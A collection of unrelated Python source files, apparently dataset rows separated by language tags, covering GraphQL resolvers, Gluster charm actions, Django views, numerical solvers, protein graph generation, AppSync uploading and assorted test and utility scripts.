tasks = await db.task.find({"_id": {"$in": task_ids}}).to_list(len(task_ids))
tasks = [ch_id(task) for task in tasks]
return tasks
@task.field('output')
async def resolve_channels(obj, info) -> List[dict]:
channel_ids = get_field(obj, 'output')
channels = await db.channel.find({"_id": {"$in": channel_ids}}).to_list(len(channel_ids))
channels = [ch_id(channel) for channel in channels]
return channels
@flow.field("flowruns")
@agent.field("flowruns")
async def resolve_flowruns(obj, info) -> List[dict]:
flowrun_ids = get_field(obj, 'flowruns')
flowruns = await db.flowrun.find({"_id": {"$in": flowrun_ids}}).to_list(len(flowrun_ids))
flowruns = [ch_id(flowrun) for flowrun in flowruns]
return flowruns
@flowrun.field("taskruns")
async def resolve_taskruns(obj, info) -> List[dict]:
taskrun_ids = get_field(obj, 'taskruns')
taskruns = await db.taskrun.find({"_id": {"$in": taskrun_ids}}).to_list(len(taskrun_ids))
taskruns = [ch_id(taskrun) for taskrun in taskruns]
return taskruns
return locals()
| python |
import logging
import json
import sys
from functools import partial
import traceback
logger = logging.getLogger(__name__)
class QueryGetter:
def __init__(self, query, **kwargs):
if len(kwargs) != 0:
self.query = partial(query, **kwargs)
else:
self.query = query
def batches(self, batch_size=1000, limit=10000):
for offset in range(0, limit, batch_size):
yield self.query(offset=offset, limit=limit)
def fetchall(self):
return self.query()
class DbGetter:
def __init__(self, db, query, **kwargs):
self.db = db
if len(kwargs) != 0:
self.query = partial(query, **kwargs)
else:
self.query = query
def batches(self, batch_size=1000, limit=10000):
for offset in range(0, limit, batch_size):
yield self.db.execute(
self.query(self.db)
.offset(offset)
.limit(batch_size if offset + batch_size < limit else limit - offset)
)
def fetchall(self):
return self.db.execute(self.query(self.db))
class DbSaver:
def __init__(self, db, query, log_interval=1000, **kwargs):
self.db = db
self.query = query
self.log_interval = log_interval
self.count = 0
self.kwargs = kwargs
def save(self, item):
self.query(self.db, item, **self.kwargs)
self.count += 1
if self.count % self.log_interval == 0:
logger.info("Save item %d.", self.count)
class Item:
def __init__(self, item, original):
self.item = item
self.original = original
class JsonSaver:
def save(self, item):
json.dump(vars(item), sys.stdout, ensure_ascii=False)
def process_items(items, processor, data_saver):
count = 0
for original in items:
try:
item = processor(original)
data_saver.save(Item(item=item, original=dict(original)))
count += 1
except Exception as e:
logger.error(traceback.format_exc())
return count
def run_batch(data_getter, processor, data_saver, batch_size=1000, limit=10000):
for i, batch in enumerate(data_getter.batches(limit=limit, batch_size=batch_size)):
batch = list(batch)
if len(batch) == 0:
break
count = process_items(items=batch, processor=processor, data_saver=data_saver)
logger.info("Processed %d items starting from item %d.", count, i * batch_size)
def run_one_shot(data_getter, processor, data_saver):
count = process_items(data_getter.fetchall(), processor, data_saver)
logger.info("Processed %d items.", count)
| python |
"""
The :mod:`ramp_database.model` defines the database structure which is used for the
RAMP events.
"""
from .base import * # noqa
from .user import * # noqa
from .fold import * # noqa
from .team import * # noqa
from .score import * # noqa
from .event import * # noqa
from .problem import * # noqa
from .workflow import * # noqa
from .datatype import * # noqa
from .submission import * # noqa
| python |
#!/usr/bin/python3
# Copyright 2016 Canonical Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import os
import sys
from charmhelpers.core import hookenv
from charmhelpers.core.hookenv import action_get, action_fail, action_set
from lib.gluster.lib import BitrotOption, ScrubAggression, ScrubSchedule, \
ScrubControl, GlusterOption
from lib.gluster.volume import quota_list, volume_add_quota, \
volume_disable_bitrot, volume_enable_bitrot, \
volume_enable_quotas, volume_quotas_enabled, volume_remove_quota, \
volume_set_bitrot_option, volume_set_options
def enable_bitrot_scan():
"""
Enable bitrot scan
"""
vol = action_get("volume")
if not vol:
action_fail("volume not specified")
output = volume_enable_bitrot(vol)
if output.is_err():
action_fail("enable bitrot failed with error: {}".format(output.value))
def disable_bitrot_scan():
"""
Disable bitrot scan
"""
vol = action_get("volume")
if not vol:
action_fail("volume not specified")
output = volume_disable_bitrot(vol)
if output.is_err():
action_fail("enable disable failed with error: {}".format(
output.value))
def pause_bitrot_scan():
"""
Pause bitrot scan
"""
vol = action_get("volume")
option = BitrotOption.Scrub(ScrubControl.Pause)
output = volume_set_bitrot_option(vol, option)
if output.is_err():
action_fail(
"pause bitrot scan failed with error: {}".format(output.value))
def resume_bitrot_scan():
"""
Resume bitrot scan
"""
vol = action_get("volume")
option = BitrotOption.Scrub(ScrubControl.Resume)
output = volume_set_bitrot_option(vol, option)
if output.is_err():
action_fail(
"resume bitrot scan failed with error: {}".format(option.value))
def set_bitrot_scan_frequency():
"""
Set the bitrot scan frequency
"""
vol = action_get("volume")
frequency = action_get("frequency")
option = ScrubSchedule.from_str(frequency)
output = volume_set_bitrot_option(vol, BitrotOption.ScrubFrequency(option))
if output.is_err():
action_fail("set bitrot scan frequency failed with error: {}".format(
output.value))
def set_bitrot_throttle():
"""
Set how aggressive bitrot scanning should be
"""
vol = action_get("volume")
throttle = action_get("throttle")
option = ScrubAggression.from_str(throttle)
output = volume_set_bitrot_option(vol, BitrotOption.ScrubThrottle(option))
if output.is_err():
action_fail(
"set bitrot throttle failed with error: {}".format(output.value))
def enable_volume_quota():
"""
Enable quotas on the volume
"""
# Gather our action parameters
volume = action_get("volume")
usage_limit = action_get("usage-limit")
parsed_usage_limit = int(usage_limit)
path = action_get("path")
# Turn quotas on if not already enabled
quotas_enabled = volume_quotas_enabled(volume)
if not quotas_enabled:
output = volume_enable_quotas(volume)
if output.is_err():
action_fail("Enable quotas failed: {}".format(output.value))
output = volume_add_quota(volume, path, parsed_usage_limit)
if output.is_err():
action_fail("Add quota failed: {}".format(output.value))
def disable_volume_quota():
"""
Disable quotas on the volume
"""
volume = action_get("volume")
path = action_get("path")
quotas_enabled = volume_quotas_enabled(volume)
if quotas_enabled:
output = volume_remove_quota(volume, path)
if output.is_err():
# Notify the user of the failure and then return the error
# up the stack
action_fail(
"remove quota failed with error: {}".format(output.value))
def list_volume_quotas():
"""
List quotas on the volume
"""
volume = action_get("volume")
quotas_enabled = volume_quotas_enabled(volume)
if quotas_enabled:
quotas = quota_list(volume)
if quotas.is_err():
action_fail(
"Failed to get volume quotas: {}".format(quotas.value))
quota_strings = []
for quota in quotas.value:
quota_string = "path:{} limit:{} used:{}".format(
quota.path,
quota.hard_limit,
quota.used)
quota_strings.append(quota_string)
action_set({"quotas": "\n".join(quota_strings)})
def set_volume_options():
"""
Set one or more options on the volume at once
"""
volume = action_get("volume")
# Gather all of the action parameters up at once. We don't know what
# the user wants to change.
options = action_get()
settings = []
for (key, value) in options:
if key != "volume":
settings.append(GlusterOption(key, value))
else:
volume = value
volume_set_options(volume, settings)
# Actions to function mapping, to allow for illegal python action names that
# can map to a python function.
ACTIONS = {
"create-volume-quota": enable_volume_quota,
"delete-volume-quota": disable_volume_quota,
"disable-bitrot-scan": disable_bitrot_scan,
"enable-bitrot-scan": enable_bitrot_scan,
"list-volume-quotas": list_volume_quotas,
"pause-bitrot-scan": pause_bitrot_scan,
"resume-bitrot-scan": resume_bitrot_scan,
"set-bitrot-scan-frequency": set_bitrot_scan_frequency,
"set-bitrot-throttle": set_bitrot_throttle,
"set-volume-options": set_volume_options,
}
def main(args):
action_name = os.path.basename(args[0])
try:
action = ACTIONS[action_name]
except KeyError:
return "Action %s undefined" % action_name
else:
try:
action(args)
except Exception as e:
hookenv.action_fail(str(e))
if __name__ == "__main__":
sys.exit(main(sys.argv))
| python |
# -*- coding: utf-8 -*-
##### Secuencias
Tupla = (1, 2, 3)
List = [1, 2, 3]
String = '1, 2, 3' # Los strings, como las tuplas son inmutables
## INDEXING - Buscar la posición de un valor en una secuencia
a = List[2]
b = Tupla[2]
c = String[2]
## Acceder al ultimo elemento de list
List[2] = List[len(List)-1] = List[-1]
## SLICING
other_list = [1, 2, 3, 4, 5, 6, 7, 8, 9]
sliced_list = other_list[:5]
sliced_list_2 = other_list[1:8:2] # Esto me slicea del index 1 al 8 sin inclujir a este último y con un step de 2
## METHODS - Son funciones asociadas al tipo de dato (list, str, etc)
para strings: .split | python |
from __future__ import print_function
import argparse
import atexit
import boto3
import logging
import sys
import time
if sys.argv[0].endswith("__main__.py"):
sys.argv[0] = "python -m appsync_schema_uploader"
@atexit.register
def app_exit():
logging.getLogger().info("Terminating")
def _parse_command_line_arguments():
argv_parser = argparse.ArgumentParser()
argv_parser.add_argument(
'--aws-access-key-id',
help='The AWS IAM Access Key ID to use'
)
argv_parser.add_argument(
'--aws-secret-access-key',
help='The AWS IAM Secret Access Key to use'
)
argv_parser.add_argument(
'--aws-region',
help='The AWS Region of the AppSync API to update'
)
argv_parser.add_argument(
'--api-id',
help='The API Id of the AppSync API to update'
)
argv_parser.add_argument(
'--schema',
help='The schema file to upload'
)
return argv_parser.parse_args()
def main():
try:
args = _parse_command_line_arguments()
# set AWS logging level
logging.getLogger('botocore').setLevel(logging.ERROR)
logging.getLogger('boto3').setLevel(logging.ERROR)
appsync = boto3.client(
'appsync',
aws_access_key_id=args.aws_access_key_id,
aws_secret_access_key=args.aws_secret_access_key,
region_name=args.aws_region
)
with open(args.schema) as schema:
print('Uploading schema', args.schema)
response = appsync.start_schema_creation(
apiId=args.api_id,
definition=schema.read()
)
while response['status'] not in ('ACTIVE', 'SUCCESS'):
if response['status'] == 'FAILED':
raise Exception(response["details"])
print('Waiting for upload completion')
time.sleep(2)
response = appsync.get_schema_creation_status(
apiId=args.api_id
)
print('Upload complete')
except KeyboardInterrupt:
print('Service interrupted', file=sys.stderr)
except Exception as e:
print('Upload FAILED:', e.message, file=sys.stderr)
print('')
raise e
if __name__ == '__main__':
main()
| python |
# This program is free software; you can redistribute it and/or modify
# it under the terms of the (LGPL) GNU Lesser General Public License as
# published by the Free Software Foundation; either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Library Lesser General Public License for more details at
# ( http://www.gnu.org/licenses/lgpl.html ).
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
# written by: Jeff Ortel ( jortel@redhat.com )
"""
Contains classes for basic HTTP (authenticated) transport implementations.
"""
import urllib2 as u2
from suds.transport import *
from suds.transport.http import HttpTransport
from logging import getLogger
log = getLogger(__name__)
class HttpAuthenticated(HttpTransport):
"""
Provides basic http authentication that follows the RFC-2617 specification.
As defined by specifications, credentials are provided to the server
upon request (HTTP/1.0 401 Authorization Required) by the server only.
@ivar pm: The password manager.
@ivar handler: The authentication handler.
"""
def __init__(self, **kwargs):
"""
@param kwargs: Keyword arguments.
- B{proxy} - An http proxy to be specified on requests.
The proxy is defined as {protocol:proxy,}
- type: I{dict}
- default: {}
- B{timeout} - Set the url open timeout (seconds).
- type: I{float}
- default: 90
- B{username} - The username used for http authentication.
- type: I{str}
- default: None
- B{password} - The password used for http authentication.
- type: I{str}
- default: None
"""
HttpTransport.__init__(self, **kwargs)
self.pm = u2.HTTPPasswordMgrWithDefaultRealm()
def open(self, request):
self.addcredentials(request)
return HttpTransport.open(self, request)
def send(self, request):
self.addcredentials(request)
return HttpTransport.send(self, request)
def addcredentials(self, request):
credentials = self.credentials()
if not (None in credentials):
u = credentials[0]
p = credentials[1]
self.pm.add_password(None, request.url, u, p)
def credentials(self):
return (self.options.username, self.options.password)
def u2handlers(self):
handlers = HttpTransport.u2handlers(self)
handlers.append(u2.HTTPBasicAuthHandler(self.pm))
return handlers
class WindowsHttpAuthenticated(HttpAuthenticated):
"""
Provides Windows (NTLM) http authentication.
@ivar pm: The password manager.
@ivar handler: The authentication handler.
@author: Christopher Bess
"""
def u2handlers(self):
# try to import ntlm support
try:
from ntlm import HTTPNtlmAuthHandler
except ImportError:
raise Exception("Cannot import python-ntlm module")
handlers = HttpTransport.u2handlers(self)
handlers.append(HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(self.pm))
return handlers
| python |
__author__ = 'Su Lei'
def array_diff(c, d):
return [x for x in c if x not in d]
a = [1, 2, 3]
b = [1, 2]
print array_diff(a, b) | python |
from django.shortcuts import render, redirect
from django.http import HttpResponse
from django.contrib.auth.mixins import LoginRequiredMixin
from django.views.generic import ListView, DetailView, UpdateView, DeleteView, CreateView,TemplateView
from django.utils import timezone
from django.contrib.auth.decorators import login_required
from .models import Task
from .models import Lecturer
from django.db.models import Q
# @login_required
def home(request):
return render(request, 'task/home.html')
class TaskListView(LoginRequiredMixin, ListView):
model = Task
context_object_name = 'tasks'
class TaskDetailView(LoginRequiredMixin, DetailView):
model = Task
context_object_name = 'task'
class TaskUpdateView(LoginRequiredMixin, UpdateView):
model = Task
fields = ['task_name','task_desc']
success_url = '/task_list'
extra_context = {
'title': 'Edit Task'
}
def get_context_data(self, *args, **kwargs):
kwargs.update(self.extra_context)
return super().get_context_data(*args, **kwargs)
class TaskDeleteView(LoginRequiredMixin, DeleteView):
model = Task
context_object_name = 'task'
success_url = '/task_list'
class TaskCreateView(LoginRequiredMixin, CreateView):
model = Task
fields = ['task_name','task_desc']
success_url = '/task_list'
extra_context = {
'title': 'Create Task'
}
def get_context_data(self, *args, **kwargs):
kwargs.update(self.extra_context)
return super().get_context_data(*args, **kwargs)
def form_valid(self, form):
form.instance.task_creator = self.request.user
form.instance.task_created = timezone.now
return super().form_valid(form)
def take_task(request, pk):
task = Task.objects.get(pk=pk)
task.task_taker = request.user.username
task.time_taken = timezone.now()
task.save()
return redirect('task_list')
def task_done(request, pk):
task = Task.objects.get(pk=pk)
task.time_done = timezone.now()
task.save()
return redirect('task_list')
#lecturer
def view_lecturer(request):
return render(request, 'lecturer/lecturer.html')
class HomePageView(TemplateView):
template_name = 'lecturer/home.html'
class SearchResultsView(ListView):
model = Lecturer
template_name = 'lecturer/search_results.html'
def get_queryset(self): # new
query = self.request.GET.get('q')
object_list = Lecturer.objects.filter(
Q(instructor__icontains=query) | Q(Title__icontains=query)
)
return object_list | python |
from .GridArea import GridArea
class GridColumn:
def __init__(self, position_marker, grid_size):
self.position = position_marker
self.column = []
for i in range(grid_size):
self.column.append(GridArea(i))
def get_position(self):
return self.position
def column_position(self, column_index):
a = column_index > -1
b = column_index <= (self.number_of_columns() - 1)
if a & b:
return self.column[column_index]
return None
def has_space(self):
open_space = False
for column_space in self.column:
if not open_space:
open_space = column_space.open()
return open_space
def number_of_columns(self):
return len(self.column)
def get_columns(self):
return self.column
| python |
import numpy as np
class Solver:
def __init__(self, matrix, vector, initialVector, precision, gamma):
self.initialVector = initialVector
self.precision = precision
self.matrix = matrix
self.bVector = vector
self.gamma = gamma
# lower triangular part
self.l = np.tril(matrix, -1)
# upper triangular part
self.u = np.triu(matrix, 1)
# diagonal component
self.d = np.diag(np.diag(matrix))
# init Q - must be set by subclases
self.q = None
self.qinv = None
def solve(self):
"""Starts to compute iterations and then returns count of iterations and result."""
iterationCount = 0
x = None
if self.canConverge():
x = self.initialVector
while self.isNotPreciseEnough(x):
iterationCount = iterationCount + 1
x = self.doIteration(x)
return iterationCount, x
def canConverge(self):
"""Can converge if the value of spectral radius is less than 1."""
e = np.identity(self.matrix.shape[0], dtype = np.float64)
return self.getSpectralRadius(e - self.qinv @ self.matrix) < 1
def isNotPreciseEnough(self, iteration):
"""Chech whether precision is not already sufficient."""
return (np.linalg.norm(self.matrix @ iteration - self.bVector) / np.linalg.norm(self.bVector)) > self.precision
def doIteration(self, lastIteration):
"""Does next iteration."""
return self.qinv @ (self.q - self.matrix) @ lastIteration + self.qinv @ self.bVector
def getSpectralRadius(self, matrix):
"""Returns max absolute eigenvalue of matrix, aka spectral radius."""
return max(abs(np.linalg.eigvals(matrix)))
class JacobiSolver(Solver):
def __init__(self, matrix, vector, initialVector, precision, gamma):
super().__init__(matrix, vector, initialVector, precision, gamma)
self.q = self.d
self.qinv = np.linalg.inv(self.q)
class GaussSeidelSolver(Solver):
def __init__(self, matrix, vector, initialVector, precision, gamma, omega = 1):
super().__init__(matrix, vector, initialVector, precision, gamma)
self.omega = omega
self.q = (1 / omega) * self.d + self.l
self.qinv = np.linalg.inv(self.q)
### ----- config
# parameters
gamma = 3
omega = 1
precision = 10**-6
# matrix
matrix = np.zeros((20, 20), dtype = np.float64)
np.fill_diagonal(matrix, gamma)
np.fill_diagonal(matrix[:, 1:], -1) # upper part
np.fill_diagonal(matrix[1:, :], -1) # lower part
# vector b
bVector = np.full((20, 1), gamma - 2, dtype = np.float64)
bVector[0] = bVector[0] + 1
bVector[-1] = bVector[-1] + 1
# initial vector
initialVector = np.zeros(bVector.shape, dtype = np.float64)
### ----- solver
# use one of these:
#solver = JacobiSolver(matrix, bVector, initialVector, precision, gamma)
solver = GaussSeidelSolver(matrix, bVector, initialVector, precision, gamma, omega)
solver.solve()
| python |
# coding=utf-8
class AppError(Exception):
code = 0
http_code = 400
| python |
""" Generating structure graphs for graph convolutional neural networks """
import os
from os.path import isfile
from enum import Enum, auto
import numpy as np
from scipy.spatial.distance import cdist
import networkx as nx
from biopandas.pdb import PandasPdb
import constants
import utils
class GraphType(Enum):
LINEAR = auto()
COMPLETE = auto()
DISCONNECTED = auto()
DIST_THRESH = auto()
DIST_THRESH_SHUFFLED = auto()
def save_graph(g, fn):
""" Saves graph to file """
nx.write_gexf(g, fn)
def load_graph(fn):
""" Loads graph from file """
g = nx.read_gexf(fn, node_type=int)
return g
def shuffle_nodes(g, seed=7):
""" Shuffles the nodes of the given graph and returns a copy of the shuffled graph """
# get the list of nodes in this graph
nodes = g.nodes()
# create a permuted list of nodes
np.random.seed(seed)
nodes_shuffled = np.random.permutation(nodes)
# create a dictionary mapping from old node label to new node label
mapping = {n: ns for n, ns in zip(nodes, nodes_shuffled)}
g_shuffled = nx.relabel_nodes(g, mapping, copy=True)
return g_shuffled
def linear_graph(num_residues):
""" Creates a linear graph where each each node is connected to its sequence neighbor in order """
g = nx.Graph()
g.add_nodes_from(np.arange(0, num_residues))
for i in range(num_residues-1):
g.add_edge(i, i+1)
return g
def complete_graph(num_residues):
""" Creates a graph where each node is connected to all other nodes"""
g = nx.complete_graph(num_residues)
return g
def disconnected_graph(num_residues):
g = nx.Graph()
g.add_nodes_from(np.arange(0, num_residues))
return g
def dist_thresh_graph(dist_mtx, threshold):
""" Creates undirected graph based on a distance threshold """
g = nx.Graph()
g.add_nodes_from(np.arange(0, dist_mtx.shape[0]))
# loop through each residue
for rn1 in range(len(dist_mtx)):
# find all residues that are within threshold distance of current
rns_within_threshold = np.where(dist_mtx[rn1] < threshold)[0]
# add edges from current residue to those that are within threshold
for rn2 in rns_within_threshold:
# don't add self edges
if rn1 != rn2:
g.add_edge(rn1, rn2)
return g
def ordered_adjacency_matrix(g):
""" returns the adjacency matrix ordered by node label in increasing order as a numpy array """
node_order = sorted(g.nodes())
adj_mtx = nx.to_numpy_matrix(g, nodelist=node_order)
return np.asarray(adj_mtx).astype(np.float32)
def cbeta_distance_matrix(pdb_fn, start=0, end=None):
# note that start and end are not going by residue number
# they are going by whatever the listing in the pdb file is
# read the pdb file into a biopandas object
ppdb = PandasPdb().read_pdb(pdb_fn)
# group by residue number
grouped = ppdb.df["ATOM"].groupby(["residue_number"])
# a list of coords for the cbeta or calpha of each residue
coords = []
# loop through each residue and find the coordinates of cbeta
for i, (residue_number, values) in enumerate(grouped):
# skip residues not in the range
end_index = (len(grouped) if end is None else end)
if i not in range(start, end_index):
continue
residue_group = grouped.get_group(residue_number)
atom_names = residue_group["atom_name"]
if "CB" in atom_names.values:
# print("Using CB...")
atom_name = "CB"
elif "CA" in atom_names.values:
# print("Using CA...")
atom_name = "CA"
else:
raise ValueError("Couldn't find CB or CA for residue {}".format(residue_number))
# get the coordinates of cbeta (or calpha)
coords.append(
residue_group[residue_group["atom_name"] == atom_name][["x_coord", "y_coord", "z_coord"]].values[0])
# stack the coords into a numpy array where each row has the x,y,z coords for a different residue
coords = np.stack(coords)
# compute pairwise euclidean distance between all cbetas
dist_mtx = cdist(coords, coords, metric="euclidean")
return dist_mtx
def gen_graph(graph_type, res_dist_mtx, dist_thresh=7, shuffle_seed=7, graph_save_dir=None, save=False):
""" generate the specified structure graph using the specified residue distance matrix """
if graph_type is GraphType.LINEAR:
g = linear_graph(len(res_dist_mtx))
save_fn = None if not save else os.path.join(graph_save_dir, "linear.graph")
elif graph_type is GraphType.COMPLETE:
g = complete_graph(len(res_dist_mtx))
save_fn = None if not save else os.path.join(graph_save_dir, "complete.graph")
elif graph_type is GraphType.DISCONNECTED:
g = disconnected_graph(len(res_dist_mtx))
save_fn = None if not save else os.path.join(graph_save_dir, "disconnected.graph")
elif graph_type is GraphType.DIST_THRESH:
g = dist_thresh_graph(res_dist_mtx, dist_thresh)
save_fn = None if not save else os.path.join(graph_save_dir, "dist_thresh_{}.graph".format(dist_thresh))
elif graph_type is GraphType.DIST_THRESH_SHUFFLED:
g = dist_thresh_graph(res_dist_mtx, dist_thresh)
g = shuffle_nodes(g, seed=shuffle_seed)
save_fn = None if not save else \
os.path.join(graph_save_dir, "dist_thresh_{}_shuffled_r{}.graph".format(dist_thresh, shuffle_seed))
else:
raise ValueError("Graph type {} is not implemented".format(graph_type))
if save:
if isfile(save_fn):
print("err: graph already exists: {}. to overwrite, delete the existing file first".format(save_fn))
else:
utils.mkdir(graph_save_dir)
save_graph(g, save_fn)
return g
def gen_all_graphs():
""" generate all structure graphs for all datasets """
thresholds = [4, 5, 6, 7, 8, 9, 10]
shuffle_seed = 7
for ds_name in constants.DATASETS.keys():
cbeta_mtx = cbeta_distance_matrix(constants.DATASETS[ds_name]["pdb_fn"])
for graph_type in GraphType:
if graph_type in [GraphType.DIST_THRESH, GraphType.DIST_THRESH_SHUFFLED]:
for threshold in thresholds:
gen_graph(graph_type, cbeta_mtx, dist_thresh=threshold, shuffle_seed=shuffle_seed,
graph_save_dir="data/{}/graphs".format(ds_name), save=True)
else:
gen_graph(graph_type, cbeta_mtx, graph_save_dir="data/{}/graphs".format(ds_name), save=True)
def main():
gen_all_graphs()
if __name__ == "__main__":
main()
| python |
"""
passage
i am very tired, but this is very good class i am learning many new things dictionary is amazing
this is very interesting i like this this is new
{
'i': 3,
'am': 4,
'very': 2,
'hello': 2,
'ball': 1
}
"""
passage = input()
words = passage.split()
freq = {}
for word in words:
freq[word] = freq.get(word, 0) + 1
print(freq)
"""
passage = hello world
words = ['hello', 'world']
freq = {}
word = 'hello'
freq['hello'] += 1
freq['hello'] = freq.get('hello', 0) + 1
"""
| python |
import sys
import glob
from scipy.io.wavfile import write
sys.path.insert(0,'lib/build-src-RelDebInfo')
sys.path.insert(0,'library/build-src-Desktop-RelWithDebInfo')
import WaveRNNVocoder
import numpy as np
vocoder=WaveRNNVocoder.Vocoder()
vocoder.loadWeights('model_outputs/model.bin')
# mel_file='../TrainingData/LJSpeech-1.0.wavernn/mel/00001.npy'
# mel1 = np.load(mel_file)
# mel1 = mel1.astype('float32')
# wav=vocoder.melToWav(mel)
# print()
filelist = glob.glob('eval/mel*.npy')
for fname in filelist:
mel = np.load(fname).T
wav = vocoder.melToWav(mel)
break
#scaled = np.int16(wav/np.max(np.abs(wav)) * 32767)
write('test.wav',16000, wav)
print()
fnames=['inputs/00000.npy','inputs/mel-northandsouth_01_f000001.npy']
mel0=np.load(fnames[0])
mel1=np.load(fnames[1]).T
mel2=np.load(filelist[0]).T
| python |
import requests
url = 'http://localhost:5050/predict'
body = {
"text": "The insurance company is evil!"
}
response = requests.post(url, data=body)
print(response.json()) | python |
"""
Copyright 2016 Brocade Communications Systems, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import json
import re
from st2actions.runners.pythonrunner import Action
from lib import ztp_utils
class IsImageCurrentAction(Action):
def __init__(self, config):
super(IsImageCurrentAction, self).__init__(config)
self._images = self.config['software_images']
def run(self, images, keep_better):
# {"hardware": "ICX7750-48F", "firmware": [{"version": "SWS08040A", "unit": 1}], "boot": "10.1.06T205"}
data = json.loads(images)
hardware = data['hardware'].split('-')[0]
self._image=self._images['Brocade'][hardware]
# Strip off everything but numbers and patch
image = data["firmware"][0]['version']
match = re.compile('([a-zA-Z]+)([0-9]+[a-zA-Z]*)').match(image)
imagetype = match.group(1)
image = match.group(2)
image = "%s.%s.%s" % (image[0:2], image[2:3], image[3:])
# Strip off everything but numbers and patch
new_image = self._image.split('.')[0]
match = re.compile('([a-zA-Z]+)([0-9]+[a-zA-Z]*)').match(new_image)
new_imagetype = match.group(1)
new_image = match.group(2)
new_image = "%s.%s.%s" % (new_image[0:2], new_image[2:3], new_image[3:])
if image.upper() == new_image.upper() and imagetype.upper() == new_imagetype.upper():
return (True, "Existing code is the same")
if not imagetype.upper() == new_imagetype.upper():
print('Note: Router vs switch mis-match')
return (False,self._image)
if keep_better == 'yes' and ztp_utils.compare_versions(image.upper(),new_image.upper()):
return (True, "Existing code is better")
return (False, self._image)
| python |
# Copyright 2019 The WPT Dashboard Project. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import contextlib
import gzip
import tempfile
import unittest
import warnings
import test_util
from wptscreenshot import WPTScreenshot
class WPTScreenshotTest(unittest.TestCase):
def setUp(self):
self.server, base_url = test_util.start_server(True)
self.api = base_url + '/api/screenshots/upload'
# We would like to make ResourceWarning (unclosed files) fatal, but
# -Werror::ResourceWarning does not work since the error is often
# "unraisable", so we have to use a context manager to record warnings.
self.context = contextlib.ExitStack()
# This is equivalent to a test-scope
# `with warnings.catch_warnings(record=True) as self.warnings`.
self.warnings = self.context.enter_context(
warnings.catch_warnings(record=True))
def tearDown(self):
if self.server.poll() is None:
self.server.kill()
self.context.close()
messages = [w.message for w in self.warnings]
self.assertListEqual(messages, [])
def _batch_sizes(self, err_text):
s = []
for i in err_text.decode('ascii').splitlines():
s.append(int(i))
return s
def test_basic(self):
with tempfile.NamedTemporaryFile() as f:
f.write(b'data:image/png;base64,0001\n')
f.write(b'data:image/png;base64,0002\n')
f.flush()
with WPTScreenshot(f.name, api=self.api, processes=1) as s:
s.process()
self.server.terminate()
_, err = self.server.communicate()
sizes = self._batch_sizes(err)
self.assertListEqual(sizes, [2])
def test_gzip(self):
with tempfile.NamedTemporaryFile(suffix='.gz') as f:
with gzip.GzipFile(filename=f.name, mode='wb') as g:
g.write(b'data:image/png;base64,0001\n')
g.write(b'data:image/png;base64,0002\n')
f.flush()
with WPTScreenshot(f.name, api=self.api, processes=1) as s:
s.process()
self.server.terminate()
_, err = self.server.communicate()
sizes = self._batch_sizes(err)
self.assertListEqual(sizes, [2])
def test_invalid_encoding(self):
with tempfile.NamedTemporaryFile() as f:
f.write(b'\xc8\n')
f.flush()
with self.assertRaises(UnicodeDecodeError):
with WPTScreenshot(f.name, api=self.api, processes=1) as s:
s.process()
self.server.terminate()
_, err = self.server.communicate()
sizes = self._batch_sizes(err)
self.assertListEqual(sizes, [])
def test_invalid_gzip(self):
with tempfile.NamedTemporaryFile(suffix=".gz") as f:
f.write(b'Hello\n')
f.flush()
with self.assertRaises(OSError):
with WPTScreenshot(f.name, api=self.api, processes=1) as s:
s.process()
self.server.terminate()
_, err = self.server.communicate()
sizes = self._batch_sizes(err)
self.assertListEqual(sizes, [])
def test_multiple_batches(self):
with tempfile.NamedTemporaryFile() as f:
f.write(b'data:image/png;base64,0001\n')
f.write(b'data:image/png;base64,0002\n')
f.write(b'data:image/png;base64,0003\n')
f.flush()
with WPTScreenshot(f.name, api=self.api, processes=2) as s:
s.MAXIMUM_BATCH_SIZE = 2
s.process()
self.server.terminate()
_, err = self.server.communicate()
sizes = self._batch_sizes(err)
self.assertSetEqual(set(sizes), {1, 2})
def test_errors(self):
with tempfile.NamedTemporaryFile() as f:
f.write(b'invalid,0001\n')
f.write(b'data:image/png;base64,0002\n')
f.write(b'data:image/png;base64,0\n')
f.flush()
with self.assertLogs() as lm:
with WPTScreenshot(f.name, api=self.api, processes=1) as s:
s.process()
self.server.terminate()
_, err = self.server.communicate()
sizes = self._batch_sizes(err)
self.assertListEqual(sizes, [1])
self.assertListEqual(
lm.output,
['ERROR:wptscreenshot:Invalid data URI: invalid,0001',
'ERROR:wptscreenshot:Invalid base64: data:image/png;base64,0'])
| python |
import uasyncio as asyncio
from uibbq import iBBQ
def handle_data(d):
print("Result:", d)
async def run():
ibbq = iBBQ(handle_data)
await ibbq.connect()
print("Battery:", await ibbq.battery_level())
await asyncio.sleep(10)
print("Disconnecting")
await ibbq.disconnect()
asyncio.run(run()) | python |
""" Module docstring """
def _output_rule_impl(ctx):
output = ctx.attr.output.short_path.replace("\\", "/")
expected_output = "{}__/some_out.txt".format(ctx.label.name)
if not output.endswith(expected_output):
fail("Expected short path endswith {}, got {}".format(expected_output, output))
if ctx.attr.contents:
ctx.actions.write(ctx.attr.output, ctx.attr.contents)
output_rule = rule(
attrs = {
"output": attr.output(),
"contents": attr.string(),
},
implementation = _output_rule_impl,
)
output_rule_with_default = rule(
attrs = {
"output": attr.output(
default = "out.txt",
mandatory = False,
),
"contents": attr.string(),
},
implementation = _output_rule_impl,
)
| python |
